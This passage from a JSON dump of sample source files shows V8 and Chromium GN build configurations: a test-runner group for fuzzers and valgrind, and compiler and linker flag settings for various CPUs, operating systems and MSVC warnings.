1.0, 1.0, 1.0);\n\tgl_FragColor = vec4(clamp(sample.rgb * (diffuse + AMBIENT) + specular, 0.0, 1.0), sample.a);\n}\n"
  },
  {
    "path": "samples/GN/BUILD.2.gn",
    "content": "# Copyright 2016 the V8 project authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"../gni/isolate.gni\")\n\ngroup(\"gn_all\") {\n  testonly = true\n\n  if (v8_test_isolation_mode != \"noop\") {\n    deps = [\n      \":check-static-initializers_run\",\n      \":jsfunfuzz_run\",\n      \":run-deopt-fuzzer_run\",\n      \":run-gcmole_run\",\n      \":run-valgrind_run\",\n    ]\n  }\n}\n\nv8_isolate_run(\"check-static-initializers\") {\n  deps = [\n    \"..:d8_run\",\n  ]\n\n  isolate = \"check-static-initializers.isolate\"\n}\n\nv8_isolate_run(\"jsfunfuzz\") {\n  deps = [\n    \"..:d8_run\",\n  ]\n\n  isolate = \"jsfunfuzz/jsfunfuzz.isolate\"\n}\n\nv8_isolate_run(\"run-deopt-fuzzer\") {\n  deps = [\n    \"..:d8_run\",\n  ]\n\n  isolate = \"run-deopt-fuzzer.isolate\"\n}\n\nv8_isolate_run(\"run-gcmole\") {\n  deps = [\n    \"..:d8_run\",\n  ]\n\n  isolate = \"gcmole/run-gcmole.isolate\"\n}\n\nv8_isolate_run(\"run-valgrind\") {\n  deps = [\n    \"..:d8_run\",\n  ]\n\n  isolate = \"run-valgrind.isolate\"\n}\n"
  },
  {
    "path": "samples/GN/BUILD.3.gn",
    "content": "# Copyright (c) 2013 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/android/config.gni\")\nimport(\"//build/config/chrome_build.gni\")\nimport(\"//build/config/compiler/compiler.gni\")\nimport(\"//build/config/nacl/config.gni\")\nimport(\"//build/toolchain/cc_wrapper.gni\")\nimport(\"//build/toolchain/toolchain.gni\")\nimport(\"//build_overrides/build.gni\")\n\nif (current_cpu == \"arm\" || current_cpu == \"arm64\") {\n  import(\"//build/config/arm.gni\")\n}\nif (current_cpu == \"mipsel\" || current_cpu == \"mips64el\") {\n  import(\"//build/config/mips.gni\")\n}\nif (is_mac) {\n  import(\"//build/config/mac/symbols.gni\")\n}\n\ndeclare_args() {\n  # Default to warnings as errors for default workflow, where we catch\n  # warnings with known toolchains. Allow overriding this e.g. for Chromium\n  # builds on Linux that could use a different version of the compiler.\n  # With GCC, warnings in no-Chromium code are always not treated as errors.\n  treat_warnings_as_errors = true\n\n  # Normally, Android builds are lightly optimized, even for debug builds, to\n  # keep binary size down. Setting this flag to true disables such optimization\n  android_full_debug = false\n\n  # Whether to use the binary binutils checked into third_party/binutils.\n  # These are not multi-arch so cannot be used except on x86 and x86-64 (the\n  # only two architectures that are currently checked in). Turn this off when\n  # you are using a custom toolchain and need to control -B in cflags.\n  linux_use_bundled_binutils =\n      linux_use_bundled_binutils_override && is_linux &&\n      (current_cpu == \"x64\" || current_cpu == \"x86\")\n  binutils_path = rebase_path(\"//third_party/binutils/Linux_x64/Release/bin\",\n                              root_build_dir)\n\n  # Compile in such a way as to make it possible for the profiler to unwind full\n  # stack frames. Setting this flag has a large effect on the performance of the\n  # generated code than just setting profiling, but gives the profiler more\n  # information to analyze.\n  # Requires profiling to be set to true.\n  enable_full_stack_frames_for_profiling = false\n\n  # When we are going to use gold we need to find it.\n  # This is initialized below, after use_gold might have been overridden.\n  gold_path = false\n\n  if (is_win) {\n    # Whether the VS xtree header has been patched to disable warning 4702. If\n    # it has, then we don't need to disable 4702 (unreachable code warning).\n    # The patch is preapplied to the internal toolchain and hence all bots.\n    msvs_xtree_patched = false\n  }\n\n  # Omit unwind support in official builds to save space.\n  # We can use breakpad for these builds.\n  exclude_unwind_tables = is_chrome_branded && is_official_build\n\n  # If true, gold linker will save symbol table inside object files.\n  # This speeds up gdb startup by 60%\n  gdb_index = false\n\n  # If true, optimize for size. Does not affect windows builds.\n  # Linux & Mac favor speed over size.\n  # TODO(brettw) it's weird that Mac and desktop Linux are different. We should\n  # explore favoring size over speed in this case as well.\n  optimize_for_size = is_android || is_ios\n\n  # Enable fatal linker warnings. Building Chromium with certain versions\n  # of binutils can cause linker warning.\n  # See: https://bugs.chromium.org/p/chromium/issues/detail?id=457359\n  fatal_linker_warnings = true\n\n  # AFDO (Automatic Feedback Directed Optimizer) is a form of profile-guided\n  # optimization that GCC supports. It used by ChromeOS in their official\n  # builds. To use it, set auto_profile_path to the path to a file containing\n  # the needed gcov profiling data.\n  auto_profile_path = \"\"\n\n  # Optimize for coverage guided fuzzing (balance between speed and number of\n  # branches)\n  optimize_for_fuzzing = false\n}\n\nif (is_clang && !is_nacl) {\n  update_args = [ \"--print-revision\" ]\n  if (llvm_force_head_revision) {\n    update_args += [ \"--llvm-force-head-revision\" ]\n  }\n  clang_revision =\n      exec_script(\"//tools/clang/scripts/update.py\", update_args, \"trim string\")\n}\n\n# Apply the default logic for these values if they were not set explicitly.\nif (gold_path == false) {\n  if (use_gold) {\n    gold_path = rebase_path(\"//third_party/binutils/Linux_x64/Release/bin\",\n                            root_build_dir)\n  } else {\n    gold_path = \"\"\n  }\n}\n\nif (use_debug_fission == \"default\") {\n  use_debug_fission = is_debug && !is_win && use_gold &&\n                      linux_use_bundled_binutils && cc_wrapper == \"\"\n}\n\n# default_include_dirs ---------------------------------------------------------\n#\n# This is a separate config so that third_party code (which would not use the\n# source root and might have conflicting versions of some headers) can remove\n# this and specify their own include paths.\nconfig(\"default_include_dirs\") {\n  include_dirs = [\n    \"//\",\n    root_gen_dir,\n  ]\n}\n\n# compiler ---------------------------------------------------------------------\n#\n# Base compiler configuration.\n#\n# See also \"runtime_library\" below for related stuff and a discussion about\n# where stuff should go. Put warning related stuff in the \"warnings\" config.\n\nconfig(\"compiler\") {\n  asmflags = []\n  cflags = []\n  cflags_c = []\n  cflags_cc = []\n  cflags_objc = []\n  cflags_objcc = []\n  ldflags = []\n  defines = []\n  configs = []\n\n  # System-specific flags. If your compiler flags apply to one of the\n  # categories here, add it to the associated file to keep this shared config\n  # smaller.\n  if (is_win) {\n    configs += [ \"//build/config/win:compiler\" ]\n  } else if (is_android) {\n    configs += [ \"//build/config/android:compiler\" ]\n  } else if (is_linux) {\n    configs += [ \"//build/config/linux:compiler\" ]\n  } else if (is_nacl) {\n    configs += [ \"//build/config/nacl:compiler\" ]\n  } else if (is_ios || is_mac) {\n    configs += [ \"//build/config/mac:compiler\" ]\n  }\n\n  # Applies to all Posix systems.\n  if (is_posix) {\n    configs += [ \"//build/config/posix:compiler\" ]\n  }\n\n  # See the definitions below.\n  configs += [\n    \":compiler_cpu_abi\",\n    \":compiler_codegen\",\n  ]\n\n  # In general, Windows is totally different, but all the other builds share\n  # some common GCC configuration.\n  if (!is_win) {\n    # Common GCC compiler flags setup.\n    # --------------------------------\n    cflags += [ \"-fno-strict-aliasing\" ]  # See http://crbug.com/32204\n    cflags_cc += [\n      # If this is removed then remove the corresponding /Zc:threadSafeInit- for\n      # Windows.\n      \"-fno-threadsafe-statics\",\n\n      # Not exporting C++ inline functions can generally be applied anywhere\n      # so we do so here. Normal function visibility is controlled by\n      # //build/config/gcc:symbol_visibility_hidden.\n      \"-fvisibility-inlines-hidden\",\n    ]\n\n    # Stack protection.\n    if (is_mac) {\n      # The strong variant of the stack protector significantly increases\n      # binary size, so only enable it in debug mode.\n      if (is_debug) {\n        cflags += [ \"-fstack-protector-strong\" ]\n      } else {\n        cflags += [ \"-fstack-protector\" ]\n      }\n    } else if (is_posix && !is_chromeos && !is_nacl) {\n      # TODO(phajdan.jr): Use -fstack-protector-strong when our gcc supports it.\n      # See also https://crbug.com/533294\n      cflags += [ \"--param=ssp-buffer-size=4\" ]\n\n      # The x86 toolchain currently has problems with stack-protector.\n      if (is_android && current_cpu == \"x86\") {\n        cflags += [ \"-fno-stack-protector\" ]\n      } else {\n        cflags += [ \"-fstack-protector\" ]\n      }\n    }\n\n    # Linker warnings.\n    if (fatal_linker_warnings && !(is_chromeos && current_cpu == \"arm\") &&\n        !(is_android && use_order_profiling) && !is_mac && !is_ios) {\n      # TODO(jochen): Enable this on chromeos on arm. http://crbug.com/356580\n      # TODO(lizeb,pasko): Fix link errors when linking with order_profiling=1\n      # crbug.com/485542\n      ldflags += [ \"-Wl,--fatal-warnings\" ]\n    }\n  }\n\n  if (is_clang && is_debug) {\n    # Allow comparing the address of references and 'this' against 0\n    # in debug builds. Technically, these can never be null in\n    # well-defined C/C++ and Clang can optimize such checks away in\n    # release builds, but they may be used in asserts in debug builds.\n    cflags_cc += [\n      \"-Wno-undefined-bool-conversion\",\n      \"-Wno-tautological-undefined-compare\",\n    ]\n  }\n\n  if (is_clang && !is_nacl) {\n    # This is here so that all files get recompiled after a clang roll and\n    # when turning clang on or off. (defines are passed via the command line,\n    # and build system rebuild things when their commandline changes). Nothing\n    # should ever read this define.\n    defines += [ \"CR_CLANG_REVISION=$clang_revision\" ]\n  }\n\n  # Non-Mac Posix compiler flags setup.\n  # -----------------------------------\n  if (is_posix && !(is_mac || is_ios)) {\n    if (enable_profiling) {\n      if (!is_debug) {\n        cflags += [ \"-g\" ]\n\n        if (enable_full_stack_frames_for_profiling) {\n          cflags += [\n            \"-fno-inline\",\n            \"-fno-optimize-sibling-calls\",\n          ]\n        }\n      }\n    }\n\n    defines += [ \"_FILE_OFFSET_BITS=64\" ]\n\n    if (!is_android) {\n      defines += [\n        \"_LARGEFILE_SOURCE\",\n        \"_LARGEFILE64_SOURCE\",\n      ]\n    }\n\n    if (!is_nacl) {\n      if (exclude_unwind_tables) {\n        cflags += [\n          \"-fno-unwind-tables\",\n          \"-fno-asynchronous-unwind-tables\",\n        ]\n        defines += [ \"NO_UNWIND_TABLES\" ]\n      } else {\n        cflags += [ \"-funwind-tables\" ]\n      }\n    }\n  }\n\n  # Linux/Android common flags setup.\n  # ---------------------------------\n  if (is_linux || is_android) {\n    cflags += [\n      \"-fPIC\",\n      \"-pipe\",  # Use pipes for communicating between sub-processes. Faster.\n    ]\n\n    ldflags += [\n      \"-fPIC\",\n      \"-Wl,-z,noexecstack\",\n      \"-Wl,-z,now\",\n      \"-Wl,-z,relro\",\n    ]\n    if (!using_sanitizer) {\n      if (!use_cfi_diag) {\n        ldflags += [ \"-Wl,-z,defs\" ]\n      }\n\n      # Functions interposed by the sanitizers can make ld think\n      # that some libraries aren't needed when they actually are,\n      # http://crbug.com/234010. As workaround, disable --as-needed.\n      if (!is_nacl && !is_android) {\n        # TODO(pcc): Fix linker bug which requires us to link pthread\n        # unconditionally here (crbug.com/623236).\n        ldflags += [\n          \"-Wl,--no-as-needed\",\n          \"-lpthread\",\n        ]\n      }\n      ldflags += [ \"-Wl,--as-needed\" ]\n    }\n  }\n\n  # Linux-specific compiler flags setup.\n  # ------------------------------------\n  if (is_android && is_clang) {\n    _rebased_android_toolchain_root =\n        rebase_path(android_toolchain_root, root_build_dir)\n\n    # Let clang find the linker in the NDK.\n    ldflags += [ \"--gcc-toolchain=$_rebased_android_toolchain_root\" ]\n  }\n\n  if (is_posix && use_lld && !is_nacl) {\n    ldflags += [ \"-fuse-ld=lld\" ]\n  } else if (use_gold) {\n    ldflags += [ \"-fuse-ld=gold\" ]\n    if (is_android) {\n      # Use -mstackrealign due to a bug on ia32 Jelly Bean.\n      # See crbug.com/521527\n      if (current_cpu == \"x86\") {\n        cflags += [ \"-mstackrealign\" ]\n      }\n    } else {\n      # On Android, this isn't needed.  gcc in the NDK knows to look next to\n      # it with -fuse-ld=gold, and clang gets a --gcc-toolchain flag passed\n      # above.\n      ldflags += [ \"-B$gold_path\" ]\n\n      if (linux_use_bundled_binutils) {\n        ldflags += [\n          # Experimentation found that using four linking threads\n          # saved ~20% of link time.\n          # https://groups.google.com/a/chromium.org/group/chromium-dev/browse_thread/thread/281527606915bb36\n          # Only apply this to the target linker, since the host\n          # linker might not be gold, but isn't used much anyway.\n          \"-Wl,--threads\",\n          \"-Wl,--thread-count=4\",\n        ]\n      }\n    }\n\n    if (gdb_index) {\n      ldflags += [ \"-Wl,--gdb-index\" ]\n    }\n\n    # TODO(thestig): Make this flag work with GN.\n    #if (!is_official_build && !is_chromeos && !(is_asan || is_lsan || is_tsan || is_msan)) {\n    #  ldflags += [\n    #    \"-Wl,--detect-odr-violations\",\n    #  ]\n    #}\n  } else if (linux_use_bundled_binutils) {\n    # Gold is the default linker for the bundled binutils so we explicitly\n    # enable the bfd linker when use_gold is not set.\n    ldflags += [ \"-fuse-ld=bfd\" ]\n  }\n\n  if (is_posix && (use_gold || (use_lld && !is_nacl)) && !using_sanitizer &&\n      !(is_android && use_order_profiling)) {\n    # TODO(crbug.com/576197) - gcc on x86 platforms + gold + icf=all\n    # doesn't currently work on non-chromeos platforms.\n    # Additionally, on Android x86 --icf=safe seems to cause issues as well.\n    # Additionally, on cast Android x86, --icf=all causes issues.\n    if (is_android && current_cpu == \"x86\") {\n      ldflags += [ \"-Wl,--icf=none\" ]\n    } else if ((is_clang && !is_android) || is_chromeos ||\n               (current_cpu != \"x86\" && current_cpu != \"x64\")) {\n      # TODO(thakis): Remove `!is_android` above once our gold has been rolled\n      # with the fix for https://sourceware.org/bugzilla/show_bug.cgi?id=17704\n      # merged.  See also https://crbug.com/663886\n      ldflags += [ \"-Wl,--icf=all\" ]\n    } else if (!is_android || is_clang) {\n      ldflags += [ \"-Wl,--icf=safe\" ]\n    }\n  }\n\n  if (linux_use_bundled_binutils) {\n    cflags += [ \"-B$binutils_path\" ]\n  }\n\n  # Clang-specific compiler flags setup.\n  # ------------------------------------\n  if (is_clang) {\n    cflags += [ \"-fcolor-diagnostics\" ]\n  }\n\n  # Print absolute paths in diagnostics. There is no precedent for doing this\n  # on Linux/Mac (GCC doesn't support it), but MSVC does this with /FC and\n  # Windows developers rely on it (crbug.com/636109) so only do this on Windows.\n  if (is_clang && is_win) {\n    cflags += [ \"-fdiagnostics-absolute-paths\" ]\n  }\n\n  # Makes builds independent of absolute file path.\n  # clang-cl (used if is_win) doesn't expose this flag.\n  # Currently disabled for nacl since its toolchain lacks this flag (too old).\n  # TODO(zforman): Once nacl's toolchain is updated, remove check.\n  if (is_clang && is_linux) {\n    absolute_path = rebase_path(\"//.\")\n    cflags += [ \"-fdebug-prefix-map=$absolute_path=.\" ]\n  }\n\n  # C++11 compiler flags setup.\n  # ---------------------------\n  if (is_linux || is_android || (is_nacl && is_clang)) {\n    # gnu++11 instead of c++11 is needed because some code uses typeof() (a\n    # GNU extension).\n    # TODO(thakis): Eventually switch this to c++11 instead,\n    # http://crbug.com/427584\n    cflags_cc += [ \"-std=gnu++11\" ]\n  } else if (!is_win && !is_nacl) {\n    # TODO(mcgrathr) - the NaCl GCC toolchain doesn't support either gnu++11\n    # or c++11; we technically don't need this toolchain any more, but there\n    # are still a few buildbots using it, so until those are turned off\n    # we need the !is_nacl clause and the (is_nacl && is_clang) clause, above.\n    cflags_cc += [ \"-std=c++11\" ]\n  }\n\n  if (is_mac) {\n    cflags_cc += [ \"-stdlib=libc++\" ]\n    ldflags += [ \"-stdlib=libc++\" ]\n  }\n\n  # Add flags for link-time optimization. These flags enable\n  # optimizations/transformations that require whole-program visibility at link\n  # time, so they need to be applied to all translation units, and we may end up\n  # with miscompiles if only part of the program is compiled with LTO flags. For\n  # that reason, we cannot allow targets to enable or disable these flags, for\n  # example by disabling the optimize configuration.\n  # TODO(pcc): Make this conditional on is_official_build rather than on gn\n  # flags for specific features.\n  if (!is_debug && (allow_posix_link_time_opt || is_cfi) && !is_nacl) {\n    if (use_thin_lto) {\n      cflags += [ \"-flto=thin\" ]\n      ldflags += [ \"-flto=thin\" ]\n\n      # Limit the parallelism to avoid too agressive competition between\n      # linker jobs. This is still suboptimal to a potential dynamic\n      # resource allocation scheme, but should be good enough.\n      if (use_lld) {\n        ldflags += [ \"-Wl,--thinlto-jobs=8\" ]\n      } else {\n        ldflags += [ \"-Wl,-plugin-opt,jobs=8\" ]\n      }\n    } else {\n      # Note: ThinLTO does not currently have this feature implemented\n      # For Full LTO, it provides a measurable runtime speedup of Chrome.\n      cflags += [\n        \"-flto\",\n        \"-fwhole-program-vtables\",\n      ]\n      ldflags += [\n        \"-flto\",\n        \"-fwhole-program-vtables\",\n      ]\n\n      # Apply a lower LTO optimization level as the default is too slow.\n      if (is_linux) {\n        if (use_lld) {\n          ldflags += [ \"-Wl,--lto-O1\" ]\n        } else {\n          ldflags += [ \"-Wl,-plugin-opt,O1\" ]\n        }\n      } else if (is_mac) {\n        ldflags += [ \"-Wl,-mllvm,-O1\" ]\n      }\n    }\n\n    # Work-around for http://openradar.appspot.com/20356002\n    if (is_mac) {\n      ldflags += [ \"-Wl,-all_load\" ]\n    }\n\n    # Allows the linker to apply ICF to the LTO object file. Also, when\n    # targeting ARM, without this flag, LTO produces a .text section that is\n    # larger than the maximum call displacement, preventing the linker from\n    # relocating calls (http://llvm.org/PR22999).\n    if (is_linux) {\n      ldflags += [ \"-Wl,-plugin-opt,-function-sections\" ]\n    }\n  }\n\n  # Pass the same C/C++ flags to the objective C/C++ compiler.\n  cflags_objc += cflags_c\n  cflags_objcc += cflags_cc\n\n  # Assign any flags set for the C compiler to asmflags so that they are sent\n  # to the assembler. The Windows assembler takes different types of flags\n  # so only do so for posix platforms.\n  if (is_posix) {\n    asmflags += cflags\n    asmflags += cflags_c\n  }\n}\n\n# This is separate from :compiler (and not even a sub-config there)\n# so that some targets can remove it from the list with:\n#   configs -= [ \"//build/config/compiler:pthread\" ]\nconfig(\"pthread\") {\n  if (is_linux) {\n    cflags = [ \"-pthread\" ]\n    ldflags = [ \"-pthread\" ]\n  }\n}\n\n# This provides the basic options to select the target CPU and ABI.\n# It is factored out of \"compiler\" so that special cases can use this\n# without using everything that \"compiler\" brings in.  Options that\n# tweak code generation for a particular CPU do not belong here!\n# See \"compiler_codegen\", below.\nconfig(\"compiler_cpu_abi\") {\n  cflags = []\n  ldflags = []\n\n  if (is_posix && !(is_mac || is_ios)) {\n    # CPU architecture. We may or may not be doing a cross compile now, so for\n    # simplicity we always explicitly set the architecture.\n    if (current_cpu == \"x64\") {\n      cflags += [\n        \"-m64\",\n        \"-march=x86-64\",\n      ]\n      ldflags += [ \"-m64\" ]\n    } else if (current_cpu == \"x86\") {\n      cflags += [ \"-m32\" ]\n      ldflags += [ \"-m32\" ]\n      if (!is_nacl) {\n        cflags += [\n          \"-msse2\",\n          \"-mfpmath=sse\",\n          \"-mmmx\",\n        ]\n      }\n    } else if (current_cpu == \"arm\") {\n      if (is_clang && !is_android && !is_nacl) {\n        cflags += [ \"--target=arm-linux-gnueabihf\" ]\n        ldflags += [ \"--target=arm-linux-gnueabihf\" ]\n      }\n      if (!is_nacl) {\n        cflags += [\n          \"-march=$arm_arch\",\n          \"-mfloat-abi=$arm_float_abi\",\n        ]\n      }\n      if (arm_tune != \"\") {\n        cflags += [ \"-mtune=$arm_tune\" ]\n      }\n    } else if (current_cpu == \"arm64\") {\n      if (is_clang && !is_android && !is_nacl) {\n        cflags += [ \"--target=aarch64-linux-gnu\" ]\n        ldflags += [ \"--target=aarch64-linux-gnu\" ]\n      }\n    } else if (current_cpu == \"mipsel\" && !is_nacl) {\n      if (mips_arch_variant == \"r6\") {\n        if (is_clang) {\n          cflags += [\n            \"--target=mipsel-linux-gnu\",\n            \"-march=mips32r6\",\n          ]\n          ldflags += [ \"--target=mipsel-linux-gnu\" ]\n        } else {\n          cflags += [\n            \"-mips32r6\",\n            \"-Wa,-mips32r6\",\n          ]\n          if (is_android) {\n            ldflags += [\n              \"-mips32r6\",\n              \"-Wl,-melf32ltsmip\",\n            ]\n          }\n        }\n        if (mips_use_msa == true) {\n          cflags += [\n            \"-mmsa\",\n            \"-mfp64\",\n          ]\n        }\n      } else if (mips_arch_variant == \"r2\") {\n        if (is_clang) {\n          if (is_android) {\n            cflags += [\n              \"--target=mipsel-linux-android\",\n              \"-march=mipsel\",\n              \"-mcpu=mips32r2\",\n            ]\n            ldflags += [ \"--target=mipsel-linux-android\" ]\n          } else {\n            cflags += [\n              \"--target=mipsel-linux-gnu\",\n              \"-march=mipsel\",\n              \"-mcpu=mips32r2\",\n            ]\n            ldflags += [ \"--target=mipsel-linux-gnu\" ]\n          }\n        } else {\n          cflags += [\n            \"-mips32r2\",\n            \"-Wa,-mips32r2\",\n          ]\n          if (mips_float_abi == \"hard\" && mips_fpu_mode != \"\") {\n            cflags += [ \"-m$mips_fpu_mode\" ]\n          }\n        }\n      } else if (mips_arch_variant == \"r1\") {\n        if (is_clang) {\n          if (is_android) {\n            cflags += [\n              \"--target=mipsel-linux-android\",\n              \"-march=mipsel\",\n              \"-mcpu=mips32\",\n            ]\n            ldflags += [ \"--target=mipsel-linux-android\" ]\n          } else {\n            cflags += [\n              \"--target=mipsel-linux-gnu\",\n              \"-march=mipsel\",\n              \"-mcpu=mips32\",\n            ]\n            ldflags += [ \"--target=mipsel-linux-gnu\" ]\n          }\n        } else {\n          cflags += [\n            \"-mips32\",\n            \"-Wa,-mips32\",\n          ]\n        }\n      }\n\n      if (mips_dsp_rev == 1) {\n        cflags += [ \"-mdsp\" ]\n      } else if (mips_dsp_rev == 2) {\n        cflags += [ \"-mdspr2\" ]\n      }\n\n      cflags += [ \"-m${mips_float_abi}-float\" ]\n    } else if (current_cpu == \"mips64el\") {\n      if (mips_arch_variant == \"r6\") {\n        if (is_clang) {\n          if (is_android) {\n            cflags += [\n              \"--target=mips64el-linux-android\",\n              \"-march=mips64el\",\n              \"-mcpu=mips64r6\",\n            ]\n            ldflags += [ \"--target=mips64el-linux-android\" ]\n          }\n        } else {\n          cflags += [\n            \"-mips64r6\",\n            \"-Wa,-mips64r6\",\n          ]\n          ldflags += [ \"-mips64r6\" ]\n        }\n        if (mips_use_msa == true) {\n          cflags += [\n            \"-mmsa\",\n            \"-mfp64\",\n          ]\n        }\n      } else if (mips_arch_variant == \"r2\") {\n        cflags += [\n          \"-mips64r2\",\n          \"-Wa,-mips64r2\",\n        ]\n        ldflags += [ \"-mips64r2\" ]\n      }\n    } else if (current_cpu == \"pnacl\" && is_nacl_nonsfi) {\n      if (target_cpu == \"x86\" || target_cpu == \"x64\") {\n        cflags += [\n          \"-arch\",\n          \"x86-32-nonsfi\",\n          \"--pnacl-bias=x86-32-nonsfi\",\n          \"--target=i686-unknown-nacl\",\n        ]\n        ldflags += [\n          \"-arch\",\n          \"x86-32-nonsfi\",\n          \"--target=i686-unknown-nacl\",\n        ]\n      } else if (target_cpu == \"arm\") {\n        cflags += [\n          \"-arch\",\n          \"arm-nonsfi\",\n          \"-mfloat-abi=hard\",\n          \"--pnacl-bias=arm-nonsfi\",\n          \"--target=armv7-unknown-nacl-gnueabihf\",\n        ]\n        ldflags += [\n          \"-arch\",\n          \"arm-nonsfi\",\n          \"--target=armv7-unknown-nacl-gnueabihf\",\n        ]\n      }\n    }\n  }\n\n  asmflags = cflags\n}\n\n# This provides options to tweak code generation that are necessary\n# for particular Chromium code or for working around particular\n# compiler bugs (or the combination of the two).\nconfig(\"compiler_codegen\") {\n  configs = []\n  cflags = []\n\n  if (is_nacl) {\n    configs += [ \"//build/config/nacl:compiler_codegen\" ]\n  } else if (is_posix && !is_mac && !is_ios) {\n    if (current_cpu == \"x86\") {\n      if (is_clang) {\n        cflags += [\n          # Else building libyuv gives clang's register allocator issues,\n          # see llvm.org/PR15798 / crbug.com/233709\n          \"-momit-leaf-frame-pointer\",\n        ]\n      }\n    } else if (current_cpu == \"arm\") {\n      if (is_android && !is_clang) {\n        # Clang doesn't support these flags.\n        cflags += [\n          # The tree-sra optimization (scalar replacement for\n          # aggregates enabling subsequent optimizations) leads to\n          # invalid code generation when using the Android NDK's\n          # compiler (r5-r7). This can be verified using\n          # webkit_unit_tests' WTF.Checked_int8_t test.\n          \"-fno-tree-sra\",\n\n          # The following option is disabled to improve binary\n          # size and performance in gcc 4.9.\n          \"-fno-caller-saves\",\n        ]\n      }\n    }\n  }\n\n  asmflags = cflags\n}\n\n# This is separate from :compiler_codegen (and not even a sub-config there)\n# so that some targets can remove it from the list with:\n#   configs -= [ \"//build/config/compiler:clang_stackrealign\" ]\n# See https://crbug.com/556393 for details of where it must be avoided.\nconfig(\"clang_stackrealign\") {\n  if (is_clang && current_cpu == \"x86\" && is_linux) {\n    cflags = [\n      # Align the stack on 16-byte boundaries, http://crbug.com/418554.\n      \"-mstack-alignment=16\",\n      \"-mstackrealign\",\n    ]\n  }\n}\n\nconfig(\"compiler_arm_fpu\") {\n  if (current_cpu == \"arm\" && !is_ios && !is_nacl) {\n    cflags = [ \"-mfpu=$arm_fpu\" ]\n    asmflags = cflags\n  }\n}\n\nconfig(\"compiler_arm_thumb\") {\n  if (current_cpu == \"arm\" && arm_use_thumb && is_posix &&\n      !(is_mac || is_ios || is_nacl)) {\n    cflags = [ \"-mthumb\" ]\n    if (is_android && !is_clang) {\n      # Clang doesn't support this option.\n      cflags += [ \"-mthumb-interwork\" ]\n    }\n  }\n}\n\nconfig(\"compiler_arm\") {\n  if (current_cpu == \"arm\" && is_chromeos) {\n    # arm is normally the default mode for clang, but on chromeos a wrapper\n    # is used to pass -mthumb, and therefor change the default.\n    cflags = [ \"-marm\" ]\n  }\n}\n\n# runtime_library -------------------------------------------------------------\n#\n# Sets the runtime library and associated options.\n#\n# How do you determine what should go in here vs. \"compiler\" above? Consider if\n# a target might choose to use a different runtime library (ignore for a moment\n# if this is possible or reasonable on your system). If such a target would want\n# to change or remove your option, put it in the runtime_library config. If a\n# target wants the option regardless, put it in the compiler config.\n\nconfig(\"runtime_library\") {\n  defines = []\n  configs = []\n\n  # System-specific flags. If your compiler flags apply to one of the\n  # categories here, add it to the associated file to keep this shared config\n  # smaller.\n  if (is_win) {\n    configs += [ \"//build/config/win:runtime_library\" ]\n  } else if (is_linux) {\n    configs += [ \"//build/config/linux:runtime_library\" ]\n  } else if (is_ios) {\n    configs += [ \"//build/config/ios:runtime_library\" ]\n  } else if (is_mac) {\n    configs += [ \"//build/config/mac:runtime_library\" ]\n  } else if (is_android) {\n    configs += [ \"//build/config/android:runtime_library\" ]\n  }\n\n  if (is_posix) {\n    configs += [ \"//build/config/posix:runtime_library\" ]\n  }\n\n  if (is_component_build) {\n    defines += [ \"COMPONENT_BUILD\" ]\n  }\n}\n\n# default_warnings ------------------------------------------------------------\n#\n# Collects all warning flags that are used by default.  This is used as a\n# subconfig of both chromium_code and no_chromium_code.  This way these\n# flags are guaranteed to appear on the compile command line after -Wall.\nconfig(\"default_warnings\") {\n  cflags = []\n  cflags_cc = []\n\n  if (is_win) {\n    if (treat_warnings_as_errors) {\n      cflags += [ \"/WX\" ]\n    }\n\n    cflags += [\n      # Warnings permanently disabled:\n\n      # C4091: 'typedef ': ignored on left of 'X' when no variable is\n      #                    declared.\n      # This happens in a number of Windows headers. Dumb.\n      \"/wd4091\",\n\n      # C4127: conditional expression is constant\n      # This warning can in theory catch dead code and other problems, but\n      # triggers in far too many desirable cases where the conditional\n      # expression is either set by macros or corresponds some legitimate\n      # compile-time constant expression (due to constant template args,\n      # conditionals comparing the sizes of different types, etc.).  Some of\n      # these can be worked around, but it's not worth it.\n      \"/wd4127\",\n\n      # C4251: 'identifier' : class 'type' needs to have dll-interface to be\n      #        used by clients of class 'type2'\n      # This is necessary for the shared library build.\n      \"/wd4251\",\n\n      # C4351: new behavior: elements of array 'array' will be default\n      #        initialized\n      # This is a silly \"warning\" that basically just alerts you that the\n      # compiler is going to actually follow the language spec like it's\n      # supposed to, instead of not following it like old buggy versions did.\n      # There's absolutely no reason to turn this on.\n      \"/wd4351\",\n\n      # C4355: 'this': used in base member initializer list\n      # It's commonly useful to pass |this| to objects in a class' initializer\n      # list.  While this warning can catch real bugs, most of the time the\n      # constructors in question don't attempt to call methods on the passed-in\n      # pointer (until later), and annotating every legit usage of this is\n      # simply more hassle than the warning is worth.\n      \"/wd4355\",\n\n      # C4503: 'identifier': decorated name length exceeded, name was\n      #        truncated\n      # This only means that some long error messages might have truncated\n      # identifiers in the presence of lots of templates.  It has no effect on\n      # program correctness and there's no real reason to waste time trying to\n      # prevent it.\n      \"/wd4503\",\n\n      # Warning C4589 says: \"Constructor of abstract class ignores\n      # initializer for virtual base class.\" Disable this warning because it\n      # is flaky in VS 2015 RTM. It triggers on compiler generated\n      # copy-constructors in some cases.\n      \"/wd4589\",\n\n      # C4611: interaction between 'function' and C++ object destruction is\n      #        non-portable\n      # This warning is unavoidable when using e.g. setjmp/longjmp.  MSDN\n      # suggests using exceptions instead of setjmp/longjmp for C++, but\n      # Chromium code compiles without exception support.  We therefore have to\n      # use setjmp/longjmp for e.g. JPEG decode error handling, which means we\n      # have to turn off this warning (and be careful about how object\n      # destruction happens in such cases).\n      \"/wd4611\",\n\n      # Warnings to evaluate and possibly fix/reenable later:\n\n      \"/wd4100\",  # Unreferenced formal function parameter.\n      \"/wd4121\",  # Alignment of a member was sensitive to packing.\n      \"/wd4244\",  # Conversion: possible loss of data.\n      \"/wd4505\",  # Unreferenced local function has been removed.\n      \"/wd4510\",  # Default constructor could not be generated.\n      \"/wd4512\",  # Assignment operator could not be generated.\n      \"/wd4610\",  # Class can never be instantiated, constructor required.\n      \"/wd4838\",  # Narrowing conversion. Doesn't seem to be very useful.\n      \"/wd4995\",  # 'X': name was marked as #pragma deprecated\n      \"/wd4996\",  # Deprecated function warning.\n\n      # These are variable shadowing warnings that are new in VS2015. We\n      # should work through these at some point -- they may be removed from\n      # the RTM release in the /W4 set.\n      \"/wd4456\",\n      \"/wd4457\",\n      \"/wd4458\",\n      \"/wd4459\",\n    ]\n\n    cflags += [\n      # C4312 is a VS 